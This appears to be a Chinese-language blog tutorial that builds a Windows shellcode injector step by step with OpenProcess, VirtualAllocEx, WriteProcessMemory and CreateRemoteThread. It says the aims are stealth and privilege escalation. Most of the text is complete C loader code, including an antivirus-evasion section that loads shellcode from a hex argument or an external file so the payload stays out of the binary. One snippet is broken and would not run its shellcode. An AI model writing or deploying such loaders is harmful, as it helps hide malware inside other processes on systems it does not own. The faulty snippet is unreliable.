CreateRemoteThread
学习一下基础的进程注入
0x01 简单描述
进程注入就是给一个正在运行的程序开辟一块内存,把shellcode放入内存,然后用一个线程去执行shellcode
好处是隐蔽性很强,只看任务管理器是看不出来问题的,并且还可以提权
下面请欣赏灵魂画手
0x02 代码实现
这次还是一步步来吧,每个函数都写一下
首先需要用到OpenProcess函数,这个函数是获取进程的句柄
关于句柄我是这样理解的,就像一个把柄一样,有了把柄才可以控制
当然句柄的本质是一个指针
下面是函数的参数
1 2 3 4 5
| HANDLE OpenProcess( DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId );
|
关于访问权限可以看https://docs.microsoft.com/en-us/windows/win32/procthread/process-security-and-access-rights
百度的也不错https://baike.baidu.com/item/OpenProcess
这个函数的返回值是是进程的句柄
下一个VirtualAllocEx函数
1 2 3 4 5 6 7
| LPVOID VirtualAllocEx( HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect );
|
挺眼熟是吧之前免杀文章里面用到过,但是这个多一个获取句柄的参数,别的几个参数一样
知道了这两个函数就可以开始写了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| #include <stdio.h> #include <windows.h>
int main(int argc, char* argv[]) { unsigned char buf[] = "shellcode"; int process_id = atoi(argv[1]); HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, 0, process_id); if (process) { printf("OpenProcess Success"); LPVOID base_address; base_address = VirtualAllocEx(process, NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (base_address) { printf("base_address:%p", base_address); } else { printf("VirtualAllocEx Fail"); } } else { printf("OpenProcess Fail"); } }
|
到这里我们可以通过x64dbg查看内存是否获取成功,注意64位的payload只能注入64位的进程,不然程序会炸掉,32位同样,当然也是有办法运行和进程不同位数的payload的,只是现在还不会..
打开一个记事本,直接用WIN+R打开的记事本是64位的
32位的记事本在C:\Windows\SysWow64\notepad.exe
记得位数要对应
现在用x64dbg打开记事本,然后用任务管理器找到PID
运行程序
得到开辟内存的起始地址,去x64dbg搜索一下,Ctrl+G搜索地址
到地址会发现里面都是00填充的
再看看内存的属性是ERW,可读可写可执行,和刚刚设定的是一样的
下面就是往里面写入shellcode了,需要用到WriteProcessMemory函数
1 2 3 4 5 6 7
| BOOL WriteProcessMemory( HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesWritten );
|
这个函数的返回值是一个布尔类型
现在把这个函数放进去
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| #include <stdio.h> #include <windows.h>
int main(int argc, char* argv[]) { unsigned char buf[] = "shellcode"; int process_id = atoi(argv[1]); HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, 0, process_id);
if (process) { printf("OpenProcess Success\n"); LPVOID base_address; base_address = VirtualAllocEx(process, NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (base_address) { printf("base_address:%p\n", base_address);
BOOL ret = WriteProcessMemory(process, base_address, buf, sizeof(buf), NULL); if (ret) { printf("WriteProcessMemory Success"); } else { printf("WriteProcessMemory Fail\nError Code:%d", GetLastError()); } } else { printf("VirtualAllocEx Fail\n"); } } else { printf("OpenProcess Fail\n"); } }
|
再次打开x64dbg,运行程序
跟到那个地址
可以看到shellcode已经写入了
最后是调用线程
1 2 3 4 5 6 7 8 9
| HANDLE CreateRemoteThread( HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId );
|
这个函数返回的是这个线程的句柄,和上面那个进程的句柄是有区别的
再把这个函数放到代码里
顺便再贴一下函数官方文档https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethread
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| #include <stdio.h> #include <windows.h>
int main(int argc, char* argv[]) { unsigned char buf[] = "shellcode"; int process_id = atoi(argv[1]); HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, 0, process_id);
if (process) { printf("OpenProcess Success\n"); LPVOID base_address; base_address = VirtualAllocEx(process, NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (base_address) { printf("base_address:%p\n", base_address);
BOOL ret = WriteProcessMemory(process, base_address, buf, sizeof(buf), NULL); if (ret) { printf("WriteProcessMemory Success\n"); DWORD TH; HANDLE ThreadHandle = CreateRemoteThread(process, NULL, 0, (LPTHREAD_START_ROUTINE)base_address, 0, 0, &TH); if (ThreadHandle) { printf("ThreadInject Success"); } else { printf("ThreadInject Fail\n Error Code:%d", GetLastError()); } } else { printf("WriteProcessMemory Fail\nError Code:%d", GetLastError()); } } else { printf("VirtualAllocEx Fail\n"); } } else { printf("OpenProcess Fail\n"); } }
|
0x03 拓展一下
CREATE_SUSPENDED
CreateRemoteThread第六个参数线程标志,翻文档的时候发现有一个标志可以不马上执行
标志使用CREATE_SUSPENDED需要调用了ResumeThread函数才会执行
1 2 3 4 5 6 7 8 9 10
| HANDLE ThreadHandle = CreateRemoteThread(process, NULL, 0, (LPTHREAD_START_ROUTINE)base_address, 0, CREATE_SUSPENDED, &TH); if (ThreadHandle) { printf("ThreadInject Success"); Sleep(5000); ResumeThread(ThreadHandle); } else { printf("ThreadInject Fail\n Error Code:%d", GetLastError()); }
|
lpParameter
CreateRemoteThread第五个参数,描述是可以给线程执行的函数传入参数
想学一下这个是怎么用的然后去查了查
查到一个CreateThread函数,就比CreateRemoteTread少一个PID参数,别的都是一样的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| #include<iostream> #include<Windows.h>
void num() { for (int i = 0; i < 15; i++) { printf("num:%d", i);
} } DWORD WINAPI ThreadProc(LPVOID lpParameter) { int n = (int)lpParameter; printf("%d", n); num(); return 0; }
int main() { int a = 123; HANDLE handle = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ThreadProc, (LPVOID)a, 0, NULL); CloseHandle(handle);
system(" pause");
}
|
官方文档可以看这里https://docs.microsoft.com/en-us/previous-versions/windows/desktop/legacy/ms686736(v=vs.85)
一个回调函数,应该是固定的格式吧,如果需要传参,参数为一个LPVOID类型的变量
这个看懂就可以同理到CreateRemoteThread了,可以创建一个函数混淆shellcode或检测环境然后再决定是否执行shellcode
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| #include<iostream> #include<Windows.h>
BOOL check() {
} DWORD WINAPI ThreadProc(LPVOID lpParameter) { check(); if (!check) { char* shellcode; shellcode = (char*)(lpParameter); ((void(*)()) & shellcode); return 0; } }
int main() { char shellcode[] = "shellcode"; HANDLE handle = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ThreadProc, (LPVOID)shellcode, 0, NULL); CloseHandle(handle); }
|
就差不多这种感觉吧
0x04 免杀
c语言混淆shellcode还是有点麻烦的,要有密码学的功底,不像别的语言都有现成的库,对密码学不好的就比较困难,所以这里还是用白+黑免杀,不把shellcode都放到程序里面,从外面加载
直接加载字符串shellcode
和之前那个ssi同样的思路
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| #include <stdio.h> #include <windows.h>
int main(int argc, char* argv[]) { char* str = argv[1]; int code_len = strlen(str) / 2; char char_in_hex; unsigned char buf[1000]; for (int i = 0; i < code_len; i++) { sscanf_s(str + 2 * i, "%2x", &char_in_hex); buf[i] = char_in_hex; } int process_id = atoi(argv[2]); HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, 0, process_id);
if (process) { printf("OpenProcess Success\n"); LPVOID base_address; base_address = VirtualAllocEx(process, NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (base_address) { printf("base_address:%p\n", base_address);
BOOL ret = WriteProcessMemory(process, base_address, buf, sizeof(buf), NULL); if (ret) { printf("WriteProcessMemory Success\n"); DWORD TH; HANDLE ThreadHandle = CreateRemoteThread(process, NULL, 0, (LPTHREAD_START_ROUTINE)base_address, 0, 0, &TH); if (ThreadHandle) { printf("ThreadInject Success"); } else { printf("ThreadInject Fail\n Error Code:%d", GetLastError()); } } else { printf("WriteProcessMemory Fail\nError Code:%d", GetLastError()); } } else { printf("VirtualAllocEx Fail\n"); } } else { printf("OpenProcess Fail\n"); } }
|
example:code.exe code pid
ReadFile
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| #include <stdio.h> #include <windows.h>
int main(int argc, char* argv[]) { HANDLE hFile = CreateFileA(argv[1], GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile == INVALID_HANDLE_VALUE) { printf("Error Code:%d", GetLastError()); return -1; } DWORD dwSize = GetFileSize(hFile, NULL);
int process_id = atoi(argv[2]); HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, 0, process_id);
if (process) { printf("OpenProcess Success\n"); LPVOID base_address; base_address = VirtualAllocEx(process, NULL, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); LPVOID code = VirtualAlloc(NULL, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); DWORD dwRealRead; ReadFile(hFile, code, dwSize, &dwRealRead, NULL); if (base_address) { printf("base_address:%p\n", base_address);
BOOL ret = WriteProcessMemory(process, base_address, code, dwSize, NULL); if (ret) { printf("WriteProcessMemory Success\n"); DWORD TH; HANDLE ThreadHandle = CreateRemoteThread(process, NULL, 0, (LPTHREAD_START_ROUTINE)base_address, 0, 0, &TH); if (ThreadHandle) { printf("ThreadInject Success"); } else { printf("ThreadInject Fail\n Error Code:%d", GetLastError()); } } else { printf("WriteProcessMemory Fail\nError Code:%d", GetLastError()); } } else { printf("VirtualAllocEx Fail\n"); } } else { printf("OpenProcess Fail\n"); } }
|
example:code file pid
0x05 参考
https://blog.csdn.net/CSNN2019/article/details/113786438
https://idiotc4t.com/code-and-dll-process-injection/createremotethread